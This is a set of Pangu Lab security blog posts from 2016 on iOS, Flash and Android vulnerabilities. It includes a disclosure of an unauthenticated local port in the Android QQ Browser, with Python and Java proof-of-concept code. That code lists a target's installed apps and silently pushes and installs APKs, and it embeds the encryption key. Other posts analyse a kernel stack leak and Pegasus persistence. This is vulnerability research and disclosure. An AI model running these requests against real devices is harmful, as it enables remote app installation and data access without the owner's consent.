盘古团队在2016 Black Hat Europe黑帽大会演讲

盘古团队在11月4日举办的Black Hat Europe 2016会议上分享了”USE-AFTER-USE-AFTER-FREE: EXPLOIT UAF BY GENERATING YOUR OWN”的议题,议题主要介绍了Flash中现有的缓解措施们和一种在现有缓解措施下仍然可用的 use-after-free 的利用方法。

会议相关PPT下载:Black Hat Slide下载

QQ浏览器(Wormable Browser) 漏洞报告

漏洞说明

安卓版QQ浏览器,QQ热点等应用程序在本地wifi开始时,会监听本地8786端口,且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时,通过该接口,可在局域网内运行QQ浏览器,QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时,可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时,可通过恶意链接,远程植入,感染与被攻击方所在局域网内所有运行安卓版QQ浏览器,QQ热点等应用的主机。

漏洞详情

发现过程:
通过Janus平台搜索发现,QQ浏览器会在本地开启服务。

应用在获取到连接时会在handle方法进行处理。


通过bind命令,可以通过连接验证。然后利用其他命令,如downloadandinstall进行远程控制。

漏洞证明

1、远程获取已安装应用列表。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-  

import requests
import base64
from binascii import b2a_hex, a2b_hex
from pyDes import *

payload = ""

x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"
key = "kM7hYp8lE69UjidhlPbD98Pm"

def encode_(s):
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    r = e_scheme.encrypt(s) 
    return base64.b64encode(r)

def decode_(s):
    b = base64.b64decode(s)
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    return e_scheme.decrypt(b)

def req(payload):
    headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
    try:
        r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
        r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)                        
    except:
        print "Error"

    print r.status_code
    print r.content
    if r != '':
        print decode_(r.content)
    print r.headers

if __name__ == "__main__":
    stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
    stage2 = encode_(stage1)

    req(stage2)

2、远程下载、安装应用。

String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
            + "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
            + "'autoOpen':'true',"
            + "'installBySys':'false',"
            //+ "'fileFolderPath':'',"
            + "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
            + "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));

3、其他如上传文件等均可执行。

String fileContent=Util.readFileByLines("D:\\迅雷下载\\w.apk");
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));
resp=(doPost("http://192.168.31.155:8786/upload?      uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));

修复方案

结合这两款应用的应用场景发现,在鉴权方面并没有多大的修复空间(这两款应用都通过2次的3DES加密交换uuid,对第三方接入进行鉴权)。因此,我们建议开发者在第三方接入时,给用户必要的交互提示警告,确保经过用户授权才可以调用相关接口,从流程上对这个问题进行修复。
通过在盘古的Janus平台检索发现,有两款腾讯应用受此漏洞影响。分别是QQ浏览器和QQ热点。

其中QQ浏览器的影响比较大,测试发现包括最新版的很多版本都受这个漏洞的影响。

漏洞发现者

赵帅,盘古实验室研究员
卜文奇,盘古实验室实习研究员

CVE-2016-4655

苹果在上个月紧急发布了9.3.5更新来封堵Pegasus攻击中使用的漏洞,不过内核信息泄露的漏洞(CVE-2016-4655)在iOS10beta8版本中仍然没有被修补。直到今日开始推送的10.0.1版本中才修补该漏洞(安全更新)。

由于iOS10是iPhone7/7p的预装系统,因此苹果可能在知晓该漏洞前已经开始生产iPhone7/7p设备,导致无法在10.0中修补该漏洞。而Pegasus攻击中使用的另一个内核UAF类型的漏洞(CVE-2016-4656)其实在iOS10beta1版本中已经被修补,猜测是苹果内部安全团队应该也发现了该漏洞。

漏洞原理

OSUnserializeBinary函数用于解析二进制格式的序列化对象,之前爆出的UAF漏洞(CVE-2016-1828)和这次的UAF漏洞(CVE-2016-4656)都存在于该函数中。我们观察OSNumber对象的创建代码。

        len = (key & kOSSerializeDataMask);
        wordLen = (len + 3) >> 2;
        end = (0 != (kOSSerializeEndCollecton & key));
        DEBG("key 0x%08x: 0x%04x, %d\n", key, len, end);

        newCollect = isRef = false;
        o = 0; newDict = 0; newArray = 0; newSet = 0;

        switch (kOSSerializeTypeMask & key)
        {
        ...
            case kOSSerializeNumber:
                bufferPos += sizeof(long long);
                if (bufferPos > bufferSize) break;
                value = next[1];
                value <<= 32;
                value |= next[0];
                o = OSNumber::withNumber(value, len);  // <--------- len可控
                next += 2;
                break;

在创建的过程中value和len都是我们可以任意指定的数据,查看OSNumber.cpp的代码可以发现len其实对应的含义是number of bits,也就是数据的位数。数据位数应该不超过64,然而整个初始化过程中没有任何额外的检查。

bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits)
{
    if (!super::init())
        return false;

    size = newNumberOfBits;         // <--------- size可控
    value = (inValue & sizeMask);

    return true;
}

OSNumber *OSNumber::withNumber(unsigned long long value,
                           unsigned int newNumberOfBits)
{
    OSNumber *me = new OSNumber;

    if (me && !me->init(value, newNumberOfBits)) {
        me->release();
        return 0;
    }

    return me;
}

我们控制的size成员会被numberOfBits和numberOfBytes函数使用,因此我们也可以任意控制这两个函数的返回值。

unsigned int OSNumber::numberOfBits() const { return size; }

unsigned int OSNumber::numberOfBytes() const { return (size + 7) / 8; }

继续观察使用这两个函数的地方,可以发现is_io_registry_entry_get_property_bytes中通过numberOfBytes函数确认OSNumber的数据长度,最终造成内核栈数据读取的漏洞。而内核栈上保存了函数调用地址以及stack cookie等数据,可以轻易计算出内核的基地址。

    } else if( (off = OSDynamicCast( OSNumber, obj ))) {
    offsetBytes = off->unsigned64BitValue();    // <--------- offsetBytes是栈上的一个uint64_t的变量
    len = off->numberOfBytes();             // <--------- len可控
    bytes = &offsetBytes;                   // <--------- bytes指向栈上的地址
    } else
    ret = kIOReturnBadArgument;

    if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
            *dataCnt = len;
            bcopy( bytes, buf, len );       // <--------- 拷贝任意长度栈上的数据返回给用户态
    }
    }

漏洞修补

分析10.0.1的内核可以看到苹果在创建OSNumber前对参数做了额外的校验。

        v30 = (OSSet *)(*(_DWORD *)v15 & 0xFFFFFF);
        v31 = *(_DWORD *)v15 & 0x7F000000;
        if ( v31 <= 0x7FFFFFF )
        {
          if ( v31 > 0x2FFFFFF )
          {
            if ( v31 != 0x3000000 )
            {
              v16 = v27;
              if ( v31 != 0x4000000
                || v108 + 12 > (unsigned __int64)v109
                || (unsigned int)((_DWORD)v30 - 8) > 0x38    // <--------- 限定len的范围是8-64
                || !((1LL << (*v15 - 8)) & 0x100000001000101LL) ) // <--------- 限定len只能是8/16/32/64
              {
                goto LABEL_158;
              }
              v107 = *(_DWORD *)v15;
              v108 += 12LL;
              v51 = v15;
              v20 = OSNumber::withNumber(
                      *((unsigned int *)v15 + 1) | ((unsigned __int64)*((unsigned int *)v15 + 2) << 32),
                      *(_DWORD *)v15 & 0xFFFFFF);

漏洞发现

我们并非通过bindiff等复杂手段定位该漏洞,所以。。。这是一个悲伤的。。。撞洞的故事。。。

实际情况是当苹果发布9.3.5版本后,我们测试了手中的漏洞,结果发现这枚未满周岁的信息泄露漏洞不幸阵亡 TT

Pegasus – 针对iOS设备的APT攻击分析

苹果在今天凌晨突然推送了iOS9.3.5更新,并且更新日志中提到修补了三个安全漏洞。随后Citizen Lab发布文章指出这三个0day被用于针对特殊目标远程植入后门,而Lookout则给出了对Pegasus的具体技术报告

远程植入的流程是首先引导用户访问指定页面,此时会触发webkit漏洞(CVE-2016-4657)获取代码执行权限,随后利用漏洞(CVE-2016-4655)泄露内核的加载基地址,最后触发漏洞(CVE-2016-4656)获取内核态的代码执行权限。在获取最高权限后,Pegasus还会进一步针对persistence处理,保证系统重启后后门仍然工作。

内核漏洞

通过攻击流程可以知道两个内核漏洞均是在浏览器内被触发的,同样在APP沙盒规则内也能利用该漏洞。盘古发布的9.3.3越狱同样也是利用了沙盒内的漏洞,苹果非常迅速的推送了9.3.4的更新。正如我们在今年Blackhat上讨论的,沙盒内直接攻击内核的漏洞将是苹果用户面临的重要风险,苹果的安全响应也在提速。

其中CVE-2016-4655漏洞是由于读取栈数据时缺乏边界检查,导致能够获取栈上额外的数据,而函数的返回地址一般会被保存在栈上,因此达到泄露内核地址的目的。

而CVE-2016-4656漏洞则是一个典型的UAF漏洞,通过精心构造数据可以在Free之后先分配对象来重新占用之后再触发Use,也可以进一步转换成double free。

Persistence

Pegasus在设备重启后设法通过命令行的/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc来解析js脚本重新触发webkit的漏洞,随后再同样溢出内核漏洞获取内核控制权。为了能够让jsc解析指定的文件,Pegasus会将rtbuddyd服务替换成jsc,rtbuddy的服务配置内嵌在launchd的__bs_plist中:

        <key>rtbuddy</key>
        <dict>
            <key>ProgramArguments</key>
            <array>
                <string>rtbuddyd</string>
                <string>--early-boot</string>
            </array>
            <key>PerformInRestore</key>
            <true/>
            <key>RequireSuccess</key>
            <true/>
            <key>Program</key>
            <string>/usr/libexec/rtbuddyd</string>
        </dict>

因此只要将–early-boot指向漏洞利用的js文件即可在系统重启的时候获取控制权。

数据获取

除了常规的个人数据获取(例如地理位置、短信、联系人、邮件等),Pegasus还针对多种流行的APP开发了信息截获的插件,例如Skype,Telegram,Whatsapp,Viber等。值得注意这些插件开发都是基于cydia的substrate的框架,因此Pegasus安装时自带了改名的substrate动态库。

APT攻击检测

通过这次事件可以看到信息安全威胁已经从桌面系统的APT攻击逐渐过渡到针对移动设备的APT攻击,必定也给安全产商们带来更多的挑战。而iOS设备的特殊之处在于它的封闭性,虽然一定程度上提高了iOS的安全性,但也阻止了其它厂商对其的检测能力。架构的安全性并无法完全阻止依赖漏洞为主的APT攻击,而只能提高攻击的成本。

根据公开的资料可以推断这次APT攻击被检测到是基于跟踪可疑URL发现的,假设后门作者没有出售高达300份的使用权,由于缺乏临机检测的能力就很难发现这种隐秘的强针对性的APT攻击。

针对iOS设备临机检测难的困境,盘古研发的APT检测产品首先通过利用漏洞攻破苹果的封闭体系获取系统最高权限,随后对整个系统的文件、配置、运行状态等进行深入扫描。扫描功能包括设备配置检测、程序签名证书检测、系统应用检测、进程信息检测、越狱状态检测、越狱插件检测、设备风险项检测、系统文件差异化检测、网络端口检测。最后能够生成结论报告并对扫描出的高危风险项进行自动提取以供后续分析。

根据掌握的Pegasus APT攻击的信息,我们的APT检测产品能够在多项检测内容中发现该后门并提取样本。

BlackHat USA 2016

盘古团队于2016年8月5日在美国拉斯维加斯举办的顶级安全峰会Blackhat USA 2016上分享了”Pangu 9 Internals”的议题,获得参会技术人员的广泛好评。

Slide下载: us-16-Pangu9-Internals

盘古实验室报告七个Flash安全漏洞获Adobe致谢

6月17日, Adobe发布安全更新APSB16-18,修复了Adobe Flash Player中的多处安全漏洞,Adobe官网同时发布公告致谢发现并报告这些漏洞的安全研究人员,盘古实验室的研究员Wen Guanxing获得了7个致谢:CVE-2016-4150,CVE-2016-4151,CVE-2016-4152,CVE-2016-4153,CVE-2016-4154,CVE-2016-4155,CVE-2016-4156

CVE-2016-4150,CVE-2016-4151,CVE-2016-4152,CVE-2016-4153

ShimContentFactory,ShimContentResolver,ShimOpportunityGenerator类成员函数解析输入时,对输入参数的成员缺少有效验证,导致未初始化内存,类型混淆等漏洞。修复后的类使用和父类相同的验证方式,直接抛弃不符合格式要求的输入参数。

CVE-2016-4154,CVE-2016-4155,CVE-2016-4156

ShimContentResolver类的某些子解释器,缺少对输入参数的效验证,解析过程中因操作非法地址导致内存崩溃。

参考链接

https://helpx.adobe.com/security/products/flash-player/apsb16-18.html

盘古实验室报告四个Flash安全漏洞获Adobe致谢

5月12日,全球软件巨头Adobe发布安全更新APSB16-15,修复了Adobe Flash Player中的多处安全漏洞,Adobe官网同时发布公告致谢发现并报告这些漏洞的安全研究人员,盘古实验室的研究员获得了4个致谢

CVE编号是CVE-2016-1097,CVE-2016-1098, CVE-2016-1099, CVE-2016-1100。

CVE-2016-1098, CVE-2016-1099, CVE-2016-1100

Flash 21后, OpportunityGenerator、Metadata、ContentFactory类的成员函数对输入变量类型存在验证不足的问题,导致了多个安全漏洞。此次修复后,成员函数对输入变量类型进行了更为严格的限制,不恰当的输入在AS3层就会拦截报错。

CVE-2016-1097

Flash 21中PSDK类未加验证地暴露了其析构函数,AS3层就可以直接清空对象内存,导致释放后利用。

Adobe官网链接

https://helpx.adobe.com/security/products/flash-player/apsb16-15.html

Janus(移动应用安全分析社区化平台) BlackHat Asia 2016 首秀

盘古团队的移动应用安全分析社区化平台Janus的想法是很好的。任何自动化分析平台都无法对抗性能、漏报、误报的问题。引入人工审计不可避免,如何能更好的结合人与机器,Janus探索了一条社区化的道路。

— 来自BlackHat ARSENAL 的现场反馈

盘古团队因为多次发布iOS完美越狱工具而被大家所熟悉,很多人希望盘古团队能不断的发布越狱工具,但这只是盘古团队的一个研究方向,盘古团队的研究并非仅局限于iOS安全研究。在这个万物互联的时代,盘古团队希望将丰富的系统攻防之道用于保障每台移动设备的安全和隐私。

2015年是移动安全威胁开始在公众面前有所感知的一年,从利用编译器后门感染了数千款应用(其中包括了微信、网易云音乐、12306以及银行手机客户端等)的XcodeGhost病毒,到影响用户量上亿、可被远程利用执行敏感操作的WormHole(虫洞)漏洞,还有同样感染量巨大、已经能看出暴利产业链端倪的GhostPush,种种安全事件无疑表明攻击者的心思从PC、WEB攻击慢慢转移到了大家还比较陌生的移动设备上。

把Android和iOS应用市场上的所有应用都扫描一遍,不放过任何一个恶意应用,尽全力发现所有的安全问题。” 是盘古团队的远大想法。然而现实很骨感,面对浩瀚的应用市场,无论投入多少计算资源都难以赶上市场的更新变化,即便分析出海量的检测报告,又如何甄别检测结果中的误报?

Janus的诞生,就是试图用另外一种方式解决问题。

我们把积累下来的安全能力和工具通过SaaS模式在线开放给所有人,甚至把从移动代码里提取到的特征规则都完全公开,希望能够借助社区的力量,将整个市场的安全状况呈现出来。在这个平台上,普通用户可以在社区中看到应用的分析评估报告以及别人对这个应用的评价,而更专业的用户则可以使用我们的自定义规则扫描服务,快速定位有问题的恶意代码家族和有风险的应用群体。

正是基于这个想法,盘古团队研发了移动应用安全分析社区化平台Janus。

团队于3月29日赴新加坡参加Black Hat,向全球安全研究人员讲解示范Janus,同时现场接受全球顶级安全爱好者的检验。 来自现场的安全研究人员及Virustotal、Synopsys、IBM等厂商的反馈表明,盘古团队的这个想法是正确的。

Janus的首秀现场的咨询异常火爆,甚至延时到影响同一个展位的下一个工具的展示。

未来,盘古团队将努力提高Janus后台的并发处理能力,并将我们的相似性比对、机器学习等研究成果集成到平台中。

我们仍在做一些完善工作,努力在第一时间把该平台开放给大家。

FBI vs Apple:FBI是幸运的

最近闹的沸沸扬扬的FBI vs Apple的事件,期间经历了FBI在法庭上要求苹果开发通用的破解锁屏密码的程序(并非媒体所传的后门), 苹果发布iOS 9.3,FBI要求查看iOS源代码到最后苹果威胁要在iCloud中用点对点加密代替现在的Master Key方案,最终该事件在前几天尘埃落定。据传言是在某个神秘选手的帮忙下,FBI终于解开了那台iPhone 5C手机。

最近的媒体传闻都是说苹果的锁屏密码多么难破解, 神秘选手技术多么厉害, 其实据我们分析, FBI这一次只是运气好, 碰到的是一台iPhone 5C, 如果这台设备是iPhone 5S的话, 那么很大可能还要通过法律手段。

苹果的锁屏密码到底有多么难破呢?为什么说这一次说FBI是幸运的?对于我们普通用户来说有什么影响?

请看我们对苹果数据加密机制以及锁屏密码保护机制的技术分析。

iOS上哪些数据做了加密?

首先,iOS整个磁盘是全盘加密的,解密的EMF Key (file-system master encryption key)保存在闪存中1号扇区的可安全擦除区域(擦除后无法恢复,并且支持远程擦除),该key对每台设备都是唯一,并且会在数据擦除时销毁;其次,在磁盘之上的文件系统的内容也是加密的, 在每个文件创建的时候会随机生成针对每个文件的Per-File Key,通过这个Per-File Key对文件中的内容进行加密保护,并且苹果又为此设计了Class Key来对Per-File Key进行保护。苹果设计A-F等各个不同的保护级别的Class Key,每个级别分别对应了密钥生成和销毁的时机,该级别可以通过数据保护的API来指定。默认设备上的信息,通讯录,邮件等都指定了iOS数据保护功能,而常见的几个级别分别是:

  • 全面保护(Class A)
    数据保护最为严格的级别,系统解锁后才能够解锁解密的密钥,并且在锁定以后丢弃该密钥。
  • 未打开文件保护(Class B)
    数据保护较为严格的级别,通过密钥包中的Class Key进行协商生成公私钥,文件一但解锁后即使系统锁屏仍然可以访问,直到文件句柄被关闭。
  • 首次认证前保护(Class C)
    数据保护较为严格的级别,在系统启动时第一次输入密码时解锁解密的密钥,并且在系统关闭时丢弃密钥。
  • 无数据保护(Class D)
    没有指定数据保护,但这不意味着文件没有加密保护,对于没有设置数据保护的其他所有文件,iOS中用一个DKey(Device Key)进行保护。该Key设备唯一,并且保存在闪存的可安全擦除区域。

从上述机制我们可以看出苹果对iOS数据保护的整个设计框架是相当完善的,结合硬件并且通过多重保护机制来防止各种物理手段上对设备的数据破解。

锁屏密码(Passcode)的作用

假设把每个文件的加密看作为上了一道锁的话,那么对应的开锁的钥匙就存放在系统密钥包里面,而锁屏密码除了防止用户进入系统桌面之外,更重要的角色就是利用密码对系统密钥包进行额外的加密保护。很多人对锁屏密码理解的一个误区,就是锁屏密码只是物理手段上防止进入手机的一个保护,但实际上,用户在第一次设置锁屏密码的时候,锁屏密码会结合硬件加密引擎生成一个叫做Passcode Key的密钥,通过这个密钥对保存在密钥包中的各个钥匙(Class Key)进行加密保护。锁屏密码不会以其他加密的形式保存在设备上,用户在解锁的时候,会直接用输入的密码生成Passcode Key对密钥包中的Class Key解密,解密失败代表用户密码错误。

从苹果的数据加密和锁屏密码的保护机制来看,直接拆除存储芯片并对其进行文件读写操作是不可能的。

破解Passcode Key的手段

Passcode Key是用户输入的passcode结合系统硬件的加密引擎以及PBKDF2(Password-Based Key Derivation Function)算法生成的。PBKDF2 的基本原理是通过一个伪随机函数,把明文和一个盐值及加密重复次数作为输入参数,然后重复进行运算,并最终产生密钥。重复运算的会使得暴力破解的成本变得很高,而硬件key及盐值的添加基本上断绝了通过“彩虹表”攻击的可能 。

由于硬件加密引擎的Key无法提取,所以 只能在目标的机器上运行暴力破解程序进行破解,假设用户的密码设置的足够复杂的话,那么破解的周期就会变得非常久。

在FBI这个案例中,由于嫌犯可能开启了输错10次密码自动擦除设备的选项,一旦暴力猜测程序连续10次输入错误的密码,设备上的所有内容就会擦除掉。一旦触发数据擦除,苹果会首先对可安全擦除区域进行擦除,物理方式上即使能够恢复大部分加密数据,但是却无法恢复可安全擦除区域中的数据,因为大部分的解密密钥都保存在这个区域中,例如能够解开系统密钥包的二进制数据的BAG1 Key。

后续苹果为了封堵各种暴力猜测Passcode的方法,在64位设备的Secure Enclave中增加了定时器,针对尝试密码的错误次数,增加尝试的延时,即使断电重启也无法解决。

历史上曾经出现过的破解方法

  • 早期的A4及更老的芯片(iPhone4之前的设备包括iPhone4)存在bootrom漏洞,通过bootrom中的硬件漏洞获取设备的shell然后运行暴力破解程序。[A4后面的芯片目前没有公开的bootrom漏洞]
  • iOS7中存在利用外接键盘可以暴力破解密码,甚至停用的设备也可以破解的漏洞。[该漏洞已经在iOS8中修复]
  • iOS8的早期几个版本中存在密码尝试失败立即断电并不会增加错误计数的漏洞。[该漏洞已经修复]

FBI是怎么破解这台手机的?

FBI要想要破解的这台手机是一台iPhone 5C并且运行着iOS 9,从硬件的角度上来说这是一台32位的设备(没有Secure Enclave),所以我们觉得相对可能的几个方案是(第三种是可能性最高的):

  1. 通过未公开的bootrom/iboot漏洞来获得系统的权限,然后通过修补内核的方式去绕过软件的错误计数来进行暴力破解密码。
  2. 使用未公开的暴力破解绕过错误计数的漏洞(类似曾经出现过的强制断电绕过的漏洞)
  3. 事先通过物理方式先对手机上闪存的数据进行克隆,由于32位系统不支持在Secure Enclave做硬件的计时和计数,可以通过类似USB外接键盘进行暴力猜测,每当猜测到9次左右的时候,再通过物理方式用克隆的数据对手机进行数据恢复,这样就避免了数据被擦除的尴尬。
  4. 通过摄像头追终嫌疑人的生活轨迹并且分析,比如摄像头刚好拍摄到嫌疑人在星巴克解锁手机,那么就可以通过图片分析的手段来判断用户输入的锁屏密码是什么。

为什么说FBI是幸运的?

如果这是一台64位的设备(拥有Secure Enclave),第三方即使拥有bootrom级别的漏洞都不可能对设备进行暴力破解, 除非在找到Secure Enclave的漏洞才有可能对设备进行暴力破解, 目前来看这种可能性微乎其微。这种情况下也许走司法程序是个更容易的方法。

那么苹果是否还有弱点?

从设备上的保护力度来看,苹果做的这套保护架构在没有类似bootrom漏洞之类的大杀器几乎很难去破解,那么是否有弱点?答案是肯定有的。

由于苹果在新的系统上引入了Touch ID来作为一个快捷输入passcode的方式,在设备已经输入过正确的解锁密码的情况下,并且设备解锁的时间在48小时之内,其实还是可以通过克隆指纹的方式对设备进行解锁。

其次就是当用户启用了iCloud数据备份的情况下,苹果在备份加密数据的同时,还对密钥包使用非对称密钥加密的方式加密后保存在苹果的iCloud服务器上,并且苹果拥有Master Key进行解密。

作为普通用户我应该怎么做?

作为一个普通用户来说,其实不用担心太多。因为你的数据还没敏感到苹果会来审查,你更应该关心的是注册Apple ID的邮件服务商是否足够安全,Apple ID的密码是否太简单,记得开启Apple ID两步认证哦。
如果你自认是一个对数据保护有极高要求的用户,那么建议你不要打开iCloud数据备份,不要设置指纹,锁屏密码最好不要设置数字的密码。

盘古将再次带来移动安全新产品,Black Hat Asia 2016见!

盘古团队将于3月30号在新加坡举办的Black Hat上展示移动应用安全分析的社区化平台。

移动设备上的恶意代码也像当年PC上的恶意代码一样正在快速发展,不同的是,移动设备相当于每个人的外部器官,感染恶意代码的移动设备带来威胁比PC更大,攻击者的手法也在不断进化,利用真实车辆违章记录,知道车主的姓名、车牌、违章地点从而构造出一个可信度极高的场景,发短信通知车主去下载安装攻击者好心提供的“应用”,除此之外,航班、快递、送餐等等我们每天接触到的衣食住行都可能有诈,从攻击背后的产业化合作、大规模利用都可以看出隐藏在恶意代码背后另一个活跃且繁荣的地下产业。

在“XCodeGhost”事件中,恶意代码感染了微信、12306、网易音乐等具有海量用户的应用,最可怕的是,在长达数个月的时间里,开发者和用户都没有人察觉到恶意代码的痕迹,盘古团队紧急响应进行分析,并在当天发布了XCodeGhost检测工具,当我们团队事后分析检测工具的数据后意识到,移动设备上的危险已经不再只有“高精尖”的APT攻击,更多的攻击者把目光投向大规模的利用和攻击,而普通用户在移动设备上的安全感知能力几乎为0,相关的安全研究信息更是难以获得和封闭……
专业网络安全公司一直更多关注在APT攻击上,用有限的专家、有限的资源面对“创新力”十足的庞大攻击产业,难以跟上攻击者进化的步伐,而我们希望在面对移动设备的恶意代码时,继续延续我们开放自由的越狱精神,与用户、众多技术专家共同面对这个问题,因此我们把自主研发的工具和数据中心的积累开放出来建立一个社区化平台,让普通用户、开发者都可以在我们的平台上对移动恶意代码进行研究、分享,贡献真知灼见,希望我们的中立、专业能够给移动安全领域带来一些新的动力。

盘古团队本次在Black Hat展示的移动应用安全分析社区化平台将提供在线的深度分析工具以及数据平台两方面能力。
安全工具:平台提供所有盘古团队自主研发的移动应用安全分析工具,包括Eacus、MossDroid、Akana、Swdk等,通过使用这些工具,安全分析人员能够还原移动应用的真实面貌,在线调试、深度剖析恶意代码。
数据平台:目前提供来自超过20个应用市场和各方机构对接的移动应用、这些移动应用的元数据、友商对接的威胁情报数据等。在这些数据的基础上,用户可自由编写扫描规则代码,平台帮助用户对所有应用进行扫描分析,并基于用户贡献的规则,提供各类关联分析,外部提供灵活的查询接口,安全分析人员能够从宏观角度分析移动安全问题。
社区化:从讨论恶意代码的产生到传播、利用的技术、造成的影响、应该如何去对抗,盘古团队提供了一些社区化的环节,通过这些环节,分析人员不再是单兵作战,恶意代码也可以看到完整的故事,让所有人的智慧都能展现出来。

盘古团队的大数据安全研发部、移动安全研发部持续整合、开发和完善平台,稍后会将该平台贡献给社区、团体。